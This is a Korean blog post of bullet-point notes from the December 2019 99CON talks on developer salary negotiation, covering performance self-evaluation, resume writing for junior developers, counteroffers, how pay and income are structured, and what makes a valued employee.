2019년 12월 15일 일요일

99CON(99콘) 연봉협상 2019 내년, 나의 연봉은









짧지만 달콤한 이야기 99CON Dec 2019 내년, 나의 연봉은 




99콘 하이라이트


경력자에게도 수습이 필요하다

레이니스트 안성현, '수습평가'편

  • 회사에서 안정적으로 다니고 있었음
  • 다니다보니 이직 생각이 들음
  • 폐쇄적인 곳에서 작업하니까 aws, github등 다른 기술을 사용하고 싶었음
  • 이직
    • 만능 이력서를 작성하여 뿌림
    • 회사 별로 정리(SI, 스타트업 등등)
    • 면접을 많이 보는것이 좋음
    • 휴가를 내는것이 힘드니 하루에 3시간 간격으로 여러곳을 면접봄
    • 몇군데 합격을 했으니 어디를 갈것인가?
    • 내가 중요하게 생각하는 것은?
    • 항목을 작성하여 가중치를 정함
    • 그래도 비슷하거나 수치화 할 수 없는 느낌이 있음
    • 비슷한 도메인의 실리콘밸리/유니콘 회사를 비교해보기
    • 해당 도메인의 회사가 어느정도의 가치를 지니는가?
  • 왜 스타트업을 선택했는가?
    • 현역 개발자
    • 성장
    • 기술적인 부분을 수평적으로 토론
    • 기술 조직/개발 문화를 만들고 싶음
  • 입사 했는데 경력 수습이 있음
    • 예전 회사들
      • 수습이 끝났는데 회사가 망함
      • 80%월급
    • 레이니스트
      • 과제를 스스로 선정 협의
      • 2개월 동안 진행
      • 진행하는 과정을 피드백 진행
  • 입사 초기
    • 무엇이든 물어보라고 함
    • 경력자도 모르는 것이 모른다.
    • DM 을 지양하는 문화
    • 공개된 질의에 대한 두려움
  • 또 하나의 두려움
    • 경력자 != 시니어
    • 시니어의 대한 기대감
    • 나는 시니어라고 생각해 본적이 없음
    • 나는 시니어리티가 있나?
  • 물어보기
    • 공개 채널에 많이 물어보기
    • 만남의 광장(회의)
  • 공유하기
    • 어떤 작업을 하고 있는지 공유
    • 작업 내에서의 고민을 공유
    • 어떤 방향으로 하면 좋을지를 공유
  • 시니어리티에 대한 고민
    • 기술적/경험적으로 알려주기
    • 모르는 것은 모른다
    • 먼저 실천하기
  • 수습 피드백
    • 세번의 피드백
      • 협업하는 분들의 피드백
      • 피드백을 통한 설장, 컬처 핏에 맞추가는 상황
      • 경력자 > 회사/팀/조직에 대한 피드백을 줄 수 있는 기회
      • 그들도 듣고 싶어 한다
  • 수습기간이란
    • 기술적 트렌드를 따라가고
    • 다른 세대와 일하는 방법을 알아가고
    • 스스로를 검증하고
    • 시니어리티에 대해서 고민해 볼 수 있는 시간
    • 수습을 하지 않았따면 시니어리티에 대한 고민이 없었을꺼 같음
  • 벌써 일한지 1년
    • 기술적으로 무럭무럭 성장중
      • 일하는 방식의 변환(TechSpec + Jira)
      • 조직안에서의 개인의 성장
      • 역할에 대한 고민
        • 개발하는 코드에 대한 고민 > 조직에 필요한 것은 무엇인가?
      • 기술부문, 조직의 문화, 지향하고자 하는 가치에 대한 고민
        • 좋은 사람을 어떻게 뽑을 것인가?
        • 어떻게 하면 1시간 안에 좋은점을 알 수 있을까?
      • 시니어가 되고 싶었음
        • 그러나 중니어
        • 보고 배울 시니어가 점점 늘어나고 있는 현실에 감사
        • 기술적/비지니스적 의사결정/의견들을 보고 배우는중
    • 건강 관리 실패
    • 사업.조직 개펀
  • 결론
    • 성장을 위해서 스타트업에 입사
    • 수습을 통해서 리부트
    • 1년동안 기술적/소통적/인간적 성장
    • 중니어를 넘어 시니어로 무럭무럭 성장하는중

영혼까지 끌어쓰는 자기평가(v2)

우아한형제들 이상한모임 강미경 '인사평가'편

  • 이전 버전을 꼭 봐야함
  • 상반기 평가 버전
    • 사업팀에서 개발팀으로 변경됨
    • 영혼의 조각모음을 분류해서 가중치
      • 스스로 한일
      • 업무
      • 엄무 아님
    • 회사의 매출에 영향도를 줬는지 표로 정리
      • 비슷해 보이는 업무는 묶어서 점수 확정
    • 업무이력에서 지난 업무들을 추출
    • 추출한 업무들을 분류, 가중치 등을 부여하여 정량화
    • 평가자가 바라보는 인재상?
      • 제가 뭘 하면 좋을까요?
      • 대답하려고 하면 생각이 정리되고 평가기준이 생김
      • 바뀌는 인재상 > 조직장이 원하는 역할을 인지함
      • 상태체크
        • 평가기준의 리마인드, 협상 방향성 체크
    • 채용공고란
      • 기본기
      • 우대사항(회사에서 벌어지는 일)
        • 이게레알 지원자격
        • 없으면 서류 광탈
        • 많을수록 면접합격
        • 입사해도 평가될 역량
      • 나의 포지션에 기대하는 역할과 책임을 명확히 하자
      • 채용공고를 분석하자
    • 업무를 성과로
      • 초안을 작성
      • 버릴것을 찾고 더할 것을 찾는다
      • 셀프 평가를 덧붙이자
      • 숫자를 넣음
      • 팩트는 숫자로 쓰지말고 목표를 명시하기
      • 성과의 크기는 비교대상을 두기
      • 정성적인 것도 정량적으로
      • 3자 객간화
      • 셀프 평가는 뻔뻔하게
    • 정리
      • 회사가 원하는 역량 + 내가 중요하게 생각하는 성과기준 = 재료
      • 정량적 수치는 팩트가 아닌 임팩트
  • 하반기 평가 버전
    • 10월 어느날 개발팀으로 이동 될것 같다고 어느팀으로 갈지 생각해 보라고함
    • 앱개발팀으로 마음 먹음
    • 안된다고함
    • 새로운 팀으로 가야한다고 1시간동안 설득당함
    • 올해 나는?
      • 아무래도 하반기은 망했는데 일단 새팀에 적응하자
    • 프랜츠차이즈시스템
      • 주문 flow중에 중계라는 부분이 들어가 있음
    • 당장 모든 로직을 파악하기 힘듬
      • 영업과 개발 사이에 껴서 나한테 말해달라고함
      • 본사와 커뮤니케이션 하겠다
      • 배포를 하면 알려주기로 함
      • 커뮤니케이션으로 말을 전달하자
    • 올해 성과는?
      • 상반기에 작업한 내용을 가져올 수 있음
      • 매트릭스 별로 나눔
    • 평가
      • 인사평가란?
      • 인간성 평가가 아닌 내년 연봉을 결정하기 위함
      • 회사가 원하는 인재가 아닌 필요한 인재를 하면 연봉을 미리 더 올려주지 않을까 라고 생각
      • 회사가 필요한 역량이란?
        • 하나의 문제를 집요하게 하는 헝그리 정신이 필요
        • 여러가진 문제를 빨리 해야함
        • 복잡한 문제도하면서 새로운 도전을 하고 기존 운영도 잘 해야함
      • 회사가 필요한 역량은 그때그떄 다르다
        • 연말에 정해진다
      • 회사는 상황에 따라 필요한 인재가 다르다
      • 내 성향과 역량이 회사의 현재 상황에 맞는지 고민해본다
    • 글쓰기 좋은날
      • 매트릭스별로 정리한 주제를 카테고리 별로 나눔
      • 전략적 타이틀 뽑기
      • 타이틀이 다한다
      • 이미지가 생간다
      • 내용보다 타이틀이 다할떄가 많다
      • 하반기 평가는 현재가치 뿐만 아니라 미래가치도 보여줘야 한다
      • 글쓰기를 꾸준히 연습하고 제품을 한 줄의 카피라이트로 팔린다
      • 글을 많이 읽자
    • 회사마다 다른 기준, 나의 다른 여러분 인사평가에 정답은 없다 이제 여러분의 차례
  • Q & A
    • 글쓰기 연마 방법
      • 생각나는 대로 써보기
      • 말로 읽어 보기
      • 그게 앞 뒤가 맞는 맥락인지 이해
      • 100 ~ 200(맘에 들때까지) 수정
    • 조직장 평가가 있는 경우
      • 우아한형제는 조직장 평가는 없음
      • 생각의 다름을 이해하고 그 사람의 역량이 필요함을 어필
    • 일정을 맞출 수 있는 방법
      • 미뤄야 하는 것들은 스펙 아웃해셔 제거하고 일정을 미리 미룬다
      • QA중에 일정을 미루지는 않아야 한다
      • 사전에 이유를 만들어 둔다
    • 티 안나게 일하거나 드랍된 경우나 목표가 미달된 경우
      • 목표가 미달된 경우
        • 핑계를 만들수 있다
        • 다음 프로젝트가 있을때 먼저 챙기겠다(보완점)
      • 티안나는 경우
        • 이게 없었다면 리스크가 생겼을 거라고 가정하여 작성
      • 드롭된 경우
        • 잘 마무리 했다고 정리
        • 리소스를 낭비하지 않게 문서로 정리

주니어 개발자의 이력서 쓰기

우아한형제들 이동욱, '이력서'편

  • 이 발표는 개인의 의견
  • 참고용 이력서
  • SI > 중소 포털서비스 > 스타트업 일했음
  • 여태까지의 과정 3번의 이력서와 3번의 합격
  • 주변 개발자 분들이 이야기 했을때 잘된 경우
  • 대상자
    • 대학생 및 3년차 미만의 개발자
    • 기술적으로 성장하고 싶은 회사
    • 회사에 대한 티어가 있음
      • 코드 리뷰 /테스트 코드 / 기술블로그를 하고 있는 회사는 현실적으로 너무 소수고 대부분 유명한 회사
      • 최후의 마지노선
        • git 사용
        • CI/CD
        • 협업툴 사용
  • 워밍업
    • 프로젝트는 역순으로 정렬하여 정리
    • PDF로 정리
  • 보편적인 이력서
    • 기본
      • 필수
        • 이름
        • 이메일
        • 깃허브
      • 준필수
        • 블로그
        • 사이드 프로젝트
      • 선택
        • 링크드인
        • 페이스북등 SNS계정
      • 채용자의 입장에서는 서류이외도 볼것이 많은 사람을 선호
        • 회사는 좋은사람을 뽑는것보다 안좋은 사람들 뽑는게 두려움
        • 서류 심사관이 도박을 하도록 만들지 마세요(오늘 하고 싶은 말)
        • 나를 증명해야 한다
    • 자기소개
      • 일종의 압축된 자기소개서
        • 어떤 경험을 해왔고 어떤 가치관을 갖고 있고 평소에 어떤 노력을 하고 있는지 7~8줄로 정리
      • github는 작업활동을 증명 할 수 있다
      • 최대한 숫자로 표현할 것
        • 대규묘/대용량 말고 RPW/TPS/PV/MAU 등 구체적 숫자
      • 신입이 숫자가 어딨나?
        • 신입 개발자의 자세를 강조
          • 배우려고 하는 자세
            • 본인이 부족한 점을 끊임없이 찾는다
            • 그걸 스스로 부끄러워하고 걱정할 줄 안다
          • 좋은 질문을 하는 자세
            • 선임이 A 라고 했을때 바로 수긍하는 사람은 NO
            • 선입이 A 라고 했을때 납득이 안되면 검증하고 다시 질문 하는 사람
    • 기술 스택
      • 1~2번 써본 기술을 언급하지 않는다
      • 지금 당장 쓸 쑤 있는 주력기술들만 언급한다
      • 경력에 비해 너무 많은 기술 스택은 오히려 좋지 않다
      • 뭐라고 해본 기술을 적자. hello world만 사용한 것은 별로다
      • 다다익선이 좋은것이 아니다
      • 자바 개발자로 지원하면서 머신러닝/블록체인 등은 소용 없다
      • 그동한 해온 기술과 다른 분야로 지원하면?
        • 러닝커브를 강조하는 이력서로 얼마나 빠르고, 올바르게 기술을 배우는 사람인지
        • 본인의 스타일을 적자
          • 라이브러리를 까서 공부하는지
          • 베스트 프랙티스
      • 신기술 경험이 없는 경우
        • 3년간 챗봇을 운영한 경험글 참고하기
          • Ajax + Jquery
        • 아주 쉬운/오래된 기술을 쓰더라고 계속해서 운영하고 개선 해본 경험을 우대
    • 경력/프로젝트
      • 질문하면 답변할 수 있는 프로젝트만
      • 담당파트 요약
      • 프로젝트에서 특히 강조하고 싶은것
      • 성과/실적도 있다면 추가
      • 가능하면 증명 가능한 링크
      • 근무기간
      • 프로젝트가 있으니 요약정리
      • 프로젝트 성과 외 언급 할것들
      • 경력이나 프로젝트가 부족할 떄?
        • 어떤 기준으로 교육을 선택했는지
        • 무엇은 배웠는지
        • 증거는 필수
          • github등 블로그 정리 링크
      • 신입이 해야할 교육/스터디 주제는?
        • 테스트코드
        • OOP
        • 클린코드
        • Git
        • Linux
        • 생각보다 리눅스를 모르는 개발자가 많다
          • 리눅스 운영체제에 대한 비교도 모른다
      • 혼자서 MSA 연습은 하지 말자
        • 신입 개발자에게 기대하는건 탄탄한 기본기
      • 오픈소스
        • start 많은 오픈소스가 효과가 있나?
          • 나는 start가 많은 저장소를 이력서로 쓴 적이 없다
          • 이 프로젝트에는 코드가 없다
          • 코드 없는 오픈소스는 이력서에 효과가 없다
          • star가 적어도 코드가 있는 오픈소스가 이력서에 효과가 있다
    • 포트폴리오
      • 본인의 기술적으로 구현한 부분이 무엇인가?
        • 편리한 UI, 풍부한 자료, 마켓 다운로드 몇회
        • 개발자로서 어떤 역량을 발휘한 작품인가는 의문
      • 작품의 호응도가 본인의 개발 실력이 아니다
      • 학교 과제 제출하듯이 기능/UI/기획이 강조된 PPT는 효과가 없다
      • 프로젝트는 모두 Github에 올려 내가 어떻게 코드를 작성하는지 공개한다
        • 깔끔한 README.md 와 커밋 메세지는 가산점++
        • 정리
          • 설치 방법
          • 정리
          • 커밋메시지 정리
    • 문제 해결 사례
      • 학교프로젝트, 국비교육, 스터디 하면서 만났던 문제를 해결한 사례
        • 메일 발송시 간혈적으로 오류
        • 서버 다운 없이 패킷 추적
        • 문제점을 추측
        • 테스트 코드로 문제를 재현하여 해결
  • 마무리
    • 잘 쓰려면 잘 살아야 한다(강원욱의 글쓰기 책)
    • 이력서 잘 쓰려면 좋은 개발자로 잘 살아야 한다
    • 좋은 개발자가 되기 위한 노력이 우선이지 좋은 이력서가 우선 되선 안된다

세션 1&2


나의 연봉협상 오딧세이

ODK Media 권정민

  • preface : 어떤 승진
    • 아는 분이 승진을 하고 연봉이 올라서 축하함
    • 승진은 했지만 연봉이 안오르면 실속이 없이 책임만 늘어남
  • 사내 연봉협상
    • 사내에서는 연봉협상을 올리기 어렵다
    • 자기 평가서를 통해 올릴 수 밖에 없음
    • 보통 연봉 통보
    • 맘에 안드는 경우가 많음
    • 맘에 안든다고 말한다는게 쉬운일이 아님
    • 본인이 평가 받은 내용을 통해서 회사에서 판단하에 통보되는것
    • 얘기하는 사람이나 다시 처리하는 사람이 껄끄러워짐
    • 이의를 제기해본 적은 없음
  • 여태까지 이직은 8번
    • 옮기고 싶어서 옮긴것은 아니고 의도치 않게 이직
    • 돈을 벌려고 이직
    • 연봉 협상은 중요
    • 달라진 업계
      • 이직 하는 경우 다른 업계로 이직도 함
      • 업계 별로 연봉 평균이 있어서 연봉이 줄어들기도 함
      • 연봉이 줄어들면 기분이 안좋음
        • 기분은 중요
        • 일이 하기 싫어짐
        • 회사에 대한 애정이 적음
        • 불만이 있다면 불만이 증폭
      • 웬만하면 연봉을 적게 받아서 다니는 것을 추천하지 않음
      • 이직할때 연봉을 적게 통보 받았을때 그냥 받았던게 문제
  • 고정 연봉
    • 회사에서 직급별이 연봉이 고정되어 있다고 함
    • 연봉 테이블이 필수로 고정은 아니다
    • 직급을 올려서 가는것이 좋다
    • 연봉이 달라질 수 있다
    • 생각보다 대기업이 연봉이 높지 않는 경우도 많다
  • COUNTEROFFER
    • 회사를 한 곳만 알아보는게 좋은가?
    • 지금 회사에서 연봉을 더 준다는데 다니는게 좋은가?
    • 하면 안되는 이유는? 꺼려지는 이유?
      • 번거롭다
      • 피곤하다
      • 구차하다
        • 하지만 연봉을 많이 올릴 수 있다
      • 회사에서 이상하게 보지 않을까?
        • 이것은 잠깐
        • 보통 HR과 얘기를 나눔
      • 2곳에 COUNTEROFFER를 하는 경우 생각보다 타이밍이 맞지 않음
  • 연봉 외의 경우
    • 강의
      • 공공기관
        • 시간당 가격
        • 박사 또는 박사가 아닌사람
        • 가격이 정해져 있음
      • 사기업
        • 가격이 정해져 있지 않음
        • 가격을 올릴 수 있는지 물어보자
      • 한다고 하기전에 금액을 물어보고 협상하자
    • 계약직, 프로젝트
      • 회사에서 받는 돈은 쥐꼬리인데 제안서에는 높은 돈으로 측정되어 있다
      • 최소 1.5배를 요구
        • 회사도 알고 있다
  • 연봉은 한번 더 물어보자
    • 거절하는 회사는 별로다
    • 거절하는 회사는 많지 않다
    • 회사에도 리소스를 많이 투자해서 뽑는 것
    • 이직시 에는 전 연봉을 기준으로 옮기기 때문에 관리하자
  • 어떤 이직
    • 아는 사람이 회사를 그만둠
    • 연봉도 낮추고 다른 업계로 간다고 함
    • 지금 잘 살고 있음
    • 커리어 패스가 연봉은 중요하지만 길의 포장지라고 생각
    • 고액 연봉이 꼭 좋은 것일까
    • 본인이 생각해서 맞는 길을 가자
    • 연봉에 너무 끌리지 말고 좋은 길을 가자

연봉협상, 어디까지 튕겨봤니?

카카오 손현태

  • 11년차 개발자
  • 우아한 형제에 있다가 카카오로 옮김
  • 연봉협상하면서 있던 이야기
  • 회사
    • 청호컴넷 2년 6개월
    • 오픈타이드 2년 3개월
    • 우아한형제들 5년 2개월
  • 연봉
    • 여러분은 더 높은 연봉을 받을 자격이 있다
    • 오퍼를 받자마자 가고싶은 회사여서 연봉을 그냥 수락하지 말자
  • 커리어 스킬
    • 커리어 스킬이라는 책
      • 15장 연봉과 협상
        • 첫직장 연봉이 중요
        • 회사측에서 제시한 연봉을 바로 받아 들이는 개발자가 너무 많다
        • 연봉범위를 알라
        • 유리한 고지를 점령하라
  • 처우협의 밀당 ssul
    • TIP1 비슷한 회사를 동시에 진행하라
      • 하나의 카드만 들고가면 불안하다
      • 여러 회사에서 오퍼를 받게 되면 객관적인 연봉을 판단 가능
      • 연봉 협상
        • 처우를 시작하면 원춴징수영수증, 재직증명서 요규하기도하고 희망연봉을 제시하는 회사도 있었음
          • 기존 회사의 연봉 인상율을 반영하여 연봉을 제시
        • 연봉을 제시
          • 연봉을 깍아서 옴
        • 연봉 통보를 받음
          • 생각보다 낮게 옴
        • 전화를 통해 이유를 듣고 싶었음
          • 비슷한 연차가 이 정도 받고 있다고 설명
        • 이직은 리스크가 있기 떄문에 연봉인상으로 보상받아야 한다고 설명
          • 사이닝 보너스를 제시를 추가로 받음
          • 1차 제안을 할때 낮게 제시 해서 비슷하게 측정되어 통보 받음
    • TIP2 희망연봉을 명확히 설정하고 시작하라
      • 사이닝 보너스
      • 내가 희망하는 연봉보다 낮게 요쳥받아서 원하는 연봉을 어렵게 말했다
        • 메일로 달라고 한다
        • 하지만 안된다고 거절 당함
    • TIP3 고민하는 시간을 넉넉히 가져라
      • 한달정도 고민하고 말해준다고 함
      • COUNTOFFER 를 비슷하게 진행하기 위함
      • 갑자기 연락이 오더니 희망연봉을 맞춰준다고 연락이 옴
      • 면접을 잘 봐야 연봉을 유리하게 할 수 있음
  • 정리
    • TIP을 지키자
    • 유리한 고지를 점령하라
    • 꼭 필요한 인재 복수지원 연봉은 협상이다
    • 다른곳에 합격한것을 다른 회사에게 통보하면 패스트트랙으로 진행 될 수 있다
    • 야놀자는 배민에 합격하면 데려간다는 소문이 있다.
    • 절대 연봉을 낮춰서 가지말라. 그 피해는 후배 개발자들에게 한마디

스페셜세션 A

당신은 더 높은 연봉을 받을 자격이 있다

커리어 엑셀러레이터 김나이

  • 소개
    • 커리어 엑셀러레이터
    • 1년에 300명 이상 커리어 상담
    • 스터디파이와 협업
    • 원래 회사원이 있음(금융)
    • 모니터가 12대여서 옆사람이 보이지 않음
  • 연봉 협상을 해보셨나요?
    • 보통 10~15%
    • 연봉 협상이 없는 경우
      • 통보
      • 협상이 없어서
      • 주니어라서
  • 연봉의 결정타, 무엇일까
    • 시장의 수요와 공급이 중요
    • 가만히 있으면 가마니가 된다
    • 자신의 성과를 이야기 해야 한다
      • 숫자로
      • 시장 대비 당신의 성과를
      • 구체적으로
    • 10월에 내년에 원하는 연봉과 일들을 정리하여 보냈지만 1월에 왜 말하지 않았냐고 사장이 대답
    • 다른 회사 사람들과의 비교 표 제공
  • 그런데 1000만원 연봉 인상 제시, 그 회사로 이직, 해야할까?]
    • 어떤 업무와 비전을 가지고 있는 회샤인지 판단
    • 왜 1000만원을 더 주는지? 나의 능력에 대한 부분인지
    • 이 포지션에서 사람을 오래 구하지 못해서 연봉을 높여서 구하고 있는지?
    • 현재 회사의 상태를 고민해보자
  • 대기업은 스타트업보다 연봉이 높다?
    • 회사마다 다르다
    • 연차가 쌓인다고 연봉이 높은것은 아니다
    • 한 회사를 오래 다닌다고 연봉이 높지 않다
    • 본인이 속한 마켓에 따라 다르다
    • 마켓에 대한 눈을 기르자
    • 회사의 상태와 매출과 이익을 알아야 한다
    • 연봉을 높이려면 업황 & 회사의 상태를 알아야만 한다
      • 도입기를 지난 회사가 제일 좋다
    • 7년차에서 15년차 분들이 제일 많이 고민
    • 회사가 상승되는 상태를 봐야한다
  • 스타트업 다니는 사람들의 고민
    • 고민
      • 언제 도망 쳐야 할까?
      • 비지니스 모델
    • 투자자의 시선으로 대표를 보자
    • 대표하고 시장의 업사이클을 본다
    • 대표가 별로면 블루오션이여도 성공하지 못한 경우가 있다
    • 회사를 갈때 투자자의 관점으로 보자
  • 스톱옵션
    • 스톱옵션을 회사가 성공하지 못하면 휴지다
    • 종합적인 판단이 중요
    • 주변에 있는 사람들과 내가 어떤 일을 해야하는지 판단
  • 원하는 연봉을 이야기 해보라 하면, 어떻게 대답해야 할까?
    • 연봉협상의 타이밍은 언제가 좋을까?
      • 마지막 단계까지 미루는게 좋다
      • 상대방과의 신뢰가 생겨야 한다
      • 중간에 연봉을 물어본다면 추후에 협상하자고 말한다
  • 표준 & 프레이밍의 활용
    • '과거'의 '숫자' 그 자체에 매몰되지 말고 '미래'의 'Value'에 집중해서 Reframing 하자
    • 연봉협상 할 때 너무 돈에만 집착하지 말자
    • 현재의 연봉을 말하지 않고 내가 회사에 가서 해야할 역할을 중심으로 얘기하면서 회사에서는 어떤 롤을 부여하는지 문의
    • 회사의 기준을 물어보고 이야기
      • 단지 돈 문제가 아니라 회사가 원하는 것은 무엇인지
      • 회사가 나에게 기대하는 것은 무엇인지 먼저 듣고 싶음
      • 적절합 합의점을 찾을 수 있을수 있을꺼 같음
  • 연봉 협상 Win Win을 위해 우리에게 필요한 Mind Set 3가지
    • Confident
    • Positive
    • Relax
    • 약간의 금자감과 어느 정도의 개썅마이웨이 정신이 필요하다(김수현 - '나는 나로 살기로 했다' 중)
    • 2배 연봉 상승을 이끌어 낸 개발자의 이야기
      • 합격해도 안갔을 다른 회사의 최종 통보를 받은 걸로 구글에 협상
    • 얻을 수 있는 장단점을 파악하여 협상할떄 단점을 가지고 말함
  • 회사에서 제시하는 숫자가, 마음에 들지 않거나, 약간 부족하다고 생각될 때는 어떻게 말해야 할까요?
    • 내가 원하는 정도를 받는다면 회사에서 열심히 일 할 수 있을꺼 같다는 부분을 어필
    • 나의 연봉이 낮다면 대표에게 '당신이 나라면 어떻게 할까요? '라고 물어보는 것도 방법
  • 연봉에 대한 다른 관점
    • 글로벌 IT -> 벤처
    • 글로벌 IB -> 1인 기업가
    • 불안
      • 이 조직에서 과연 내가 어디까지 올라갈 수 있을까?
      • 무슨 영광을 누리자고 내가 이렇게까지 하면서 살아야만 하나?
      • 자의든 타의든 회사를 나가게 됐을때 할 수 있는 일은 무엇일까?
    • 성장
      • 내가 이 조직에서 지금 의미있는 일을 하고 있는 것일까?
      • 역량과 경험이 시간이 지난다고 자동적으로 획득되는 것이 아닌데, 나는 지금 이 조직에서 내가 혼자 Survive 하기 위한 경험들을 쌓아가고 있나?
    • 언젠가는 연봉이 내려 갈 수 있다
    • 계속 연봉이 올라가려면 회사도 계속 성장하고 있어야 한다
  • 나의 일을 돌아보는 6가지 질문
    • 성장
    • 워라벨
    • 의미
    • 재미
    • 인간관계
    • 6가지를 맞출 수 있는 회사는 이 세상에 없다
    • 이 중에서 나에게 가장 중요한 2가지는를 뽑고 만족 하고 있는가
    • 나는 무슨 부분을 바꿔야 하는가
  • Q & A
    • 회사를 판단 하는기준
      • 작은 기업같은 경우
        • 투자 리포트
        • 대표를 많이 봄
    • 연봉을 알기 위한 방법
      • 네트워킹을 톡해 인맥을 쌓는다
    • 원하는 연봉을 한번에 회사가 수락 했을 경우
      • 연봉을 변경하기는 어렵고 그 회사에 내가 갔을때에 대한 가치를 생각
    • 현재 회사에서의 연봉을 높이는 방법
      • 나하고 같은 연차가 다른데에서 어떻게 하고 있는지 보고 나를 수치화 하여 어필
    • 나를 돌아 보는 6가지 중에 안맞는 부분이 있는 경우
      • 스트레스를 많이 받는 경우 안하는게 맞는거 같음
      • 입사하여 내가 하고 있던 일들이 다른 사람과의 마찰이 있는 경우 물어보고 내가 어떤 업무를 했으면 좋겠는지 문의

세션3

연봉협상도 통역이 되나요?

멀티캠퍼스 천성권

  • 주의 사항
    • 연봉을 무조건 올릴 수 있는 마법은 아니다
    • 발표자의 회사와는 관계 없음
  • 오늘의 통역사
    • 직장
      • 전자책, 출판(2), 기업교육
    • 업무
      • 마케팅, 기획(상품/사업/전략), 그리고 인사
    • Full stack recruiter
      • 채용 관련된 모든 업무를 담당
      • 6년가 400명 채용
  • 미리 보는 결론
    • 경력
      • 근무한 모든 기간이 경력은 아님, 증빙 가능 여부가 중요함
    • 연봉
      • 연봉의 정의는 회사마다 다를 수 있음. 연봉, 월급의 구조를 알아야 함
    • 소득
      • 연봉이 소득을 의미하지는 않음
      • (+)뿐만 아니라 (-)도 확인 필요함
  • 연봉협상이란
    • 회사와 지원자간 금전적 기대수준을 동기화하는 과정
  • 경력이란
    • 연봉협상의 첫 단추, 시간은 모든 사람에게 동일한가?
    • 사람마다 판단 기준이 다름
  • 같은 시간 다른 경력
    • 두 사람이 공백없이 일을 했고 다른 업무(프리랜서, 개월수등) 형태로 일을 했을때 같은 직급/연봉으로 일할 수 있나?
      • 계약서가 없는 경우
      • 파트타임인 경우 경력증명서 발급 불가
      • 폐업
      • 직무가 다른 업무
    • 실제로 연봉을 협상하는 사람도 증거를 산정하여 품의를 올림
    • 증빙가능한 정보가 없으면 도와줄 수 없음
    • 회사는 증빙가능한 경력으로 산출
      • 경력증명서
      • 재직증명서
      • 외부인력 경력증명서
      • 건강보험자격득실확인서
      • 용역 계약서
      • 입금 내역서(은행)
  • 연봉이란
    • 연봉협상의 핵심, 연봉은 모든이에게 같은 뜻인가?
      • 같은 연봉 다른 구성
        • 급여
        • 중식대
        • 직책수당
        • 명절상여
      • 계약 연봉이 어떤 것들이 포함되어 있는지 알아야 한다
      • 같은 연봉 다른 월급
        • 기본급이 일정한 경우
        • 기본급에 분기마다 상여금이 있는 경우
      • 추하지 않게 숫자를 말하자
    • 연봉에 대한 지원자와 회사의 인식차이
  • 소득이란
    • 소득은 높고 지출은 적어야 한다
    • 같은 연봉 다른 소득
      • +요인
        • 원천징수영수증은 모든것들이 들어가 있음
          • 급여명세서
          • 연봉계약서
          • 원천징수영수증
          • 항목을 확인하여 말해야함
        • 인센티브
          • 변동성 여부
          • 스톡옵션과 비슷하지만 리스크가 적음
          • 인센티브를 못받을 수도 있다고 가정
      • -요인
        • 경조사
        • 자녀학비
        • 건강검진
        • 구내식당
        • 휴가비
        • 도서지원
        • 자사제품 할인
    • 소득 = 연봉 + (부가소득 + 생계형 복리후생 + 인센티브)
  • 오늘 확인해야 할 자료
    • 경력
      • 자신의 모든 경력에 대한 확인
        • 건강보험자격득실확인서 FAX 발급
      • 증빙 확보
        • 분실서류 재발급, 우너본한 보관시 Scan저장
    • 연봉
      • 연봉 구조 및 월급 구성 확인
      • 연봉
        • 연봉계약서 내용/구성 확인
      • 월급
        • 최근 6개월 급여명세서 확인
    • 소득
      • 연봉외 소득(+과 복리후생(-) 확인
      • 소득
        • 원천징수영수증 확인
      • 복리후생
        • 회사에서 복리후생 안내서 확인
  • 지금 or 곧 연봉협상을 하고 있다면?
    • 자신감있는 태도 유지
    • 단계별 진행상황 확인
      • 이것이 연봉협상인지?
    • 다각적/거시적 관점으로 충분한 정보 확인
  • Q & A
    • 연봉협상중인데 회사에서 빨리 대답을 할 경우?
      • 회사에게 왜 빠르게 대답을 원하는지 문의
      • 오퍼레이션을 승낙 한 후에 안가도 불법은 아니다

스페셜세션 B

내 역량에 맞는 연봉은?

우아한형제들 변연배

  • 당신의 몸값을 어떻게 높일 수 있는가?
  • 서로 주고 받는 것이 있음
  • 우아한형제들 인사총괄 임원
    • 쿠팡등 인사 쪽 재직
  • 최고가 되서 떠나라
    • 최고가 된다는 것은 일하고 있는 회사에서 얼마나 가치가 있는 사람인가
  • 연봉이 본인에게 얼마나 중요한 부분인가 생각해보기
  • 개인의 경제활동영역
    • 봉급 생활자
    • 사업가
    • 투자가
    • 자영업자
  • 사람들이 평생 소비하는 시간 중
    • 실제 일하는 시간은 총 12년
  • 나이에 따른 임금 vs 생산성
    • 임금이 오를수록 40세 부터 생산성이 낮아져서 구조조정이 대상이됨
    • 일하는 시간동안 무엇을 하느냐에 따라 40세에 결과가 나옴
  • 인재의 유형
    • 부지런함
    • 게으름
    • 똑똑함
    • 우둔함
  • 조직장이 되었을때 어떻게 할 것인가?
  • 구성원들은 어떤 조직장과 일하고 싶은가?
    • 조직장은 똑똑한데 게으른게 좋다
  • 조직에서의 Employability & Marketability
    • 외부 이동 가능 인력(Employability)
      • 여기에 해당하는 사람이 되어야 한다
    • 내부 이동 가능 인력(Marketability)
    • 내/외부 이동 제한 인력(?)
  • 현실은 냉혹
    • 5만 6천개
    • 반경 평균 100m에 1개
    • 하나 260원 이익, 월 수입 55만원
    • 한 해 평균 7400 Open/5,000 Close
    • 이것은 치킨, 커피집
  • 직장인의 무덤
    • 자영업 비율 27.4%
    • 창업 949만개 / 폐업 793만개(2004~2013)
    • 5년 생존율 16.4%
  • 질문
    • 만일 내가 고용주라면 나를 고용하겠는가?
    • 6개월 마다 이력서를 업데이트하자
      • 역량을 체크
  • 간단한 공식
    • 어떤 일에 대가를 받는다는 것은 엄청한 책임이 따른다
    • 받는 보수 < 주는 가치
    • 공식
      • 몰입
      • 역량
      • 전문성
      • 끊임없는 학습
  • 인재란?
    • 탁월한 성과는 인재가 달성하는 것이 아니라 탁월한 성과를 지속적으로 달성하는 사람이 인재이다
  • 어떤 것이 탁월한 성과인가?
    • 다른 사람들이 평균적으로 달성하는 것보다 확연히 구분되는 우수한 성과
  • 인재는 어떻게 알아 보는가?
  • 한 사람의 인재가 세상을 바꾼다
    • 최고 수준의 소프트웨어 개발자 한 사람의 보통 수준의 소프트웨어 개발자에 비해 그 기여도가 10배, 혹은 100배, 심지어 1,000배를 넘어 10,000배 보다도 더 높다
  • 인재가 가지고 있는 역량의 구조
  • 인재는 어떻게 만들어 지는가?
    • 체계적, 심층적, 반복적 학습
    • 올바른 마음 가짐
    • 강점파악 -> 체계적 공부 -> 전문분야 경험
    • 10년, 1만시간의 법칙
  • 4차 혁명 시대에 요구되는 글로벌역량
    • 창의성
    • 문제해결능력
    • 민첩한 학습능력
    • 통섭력
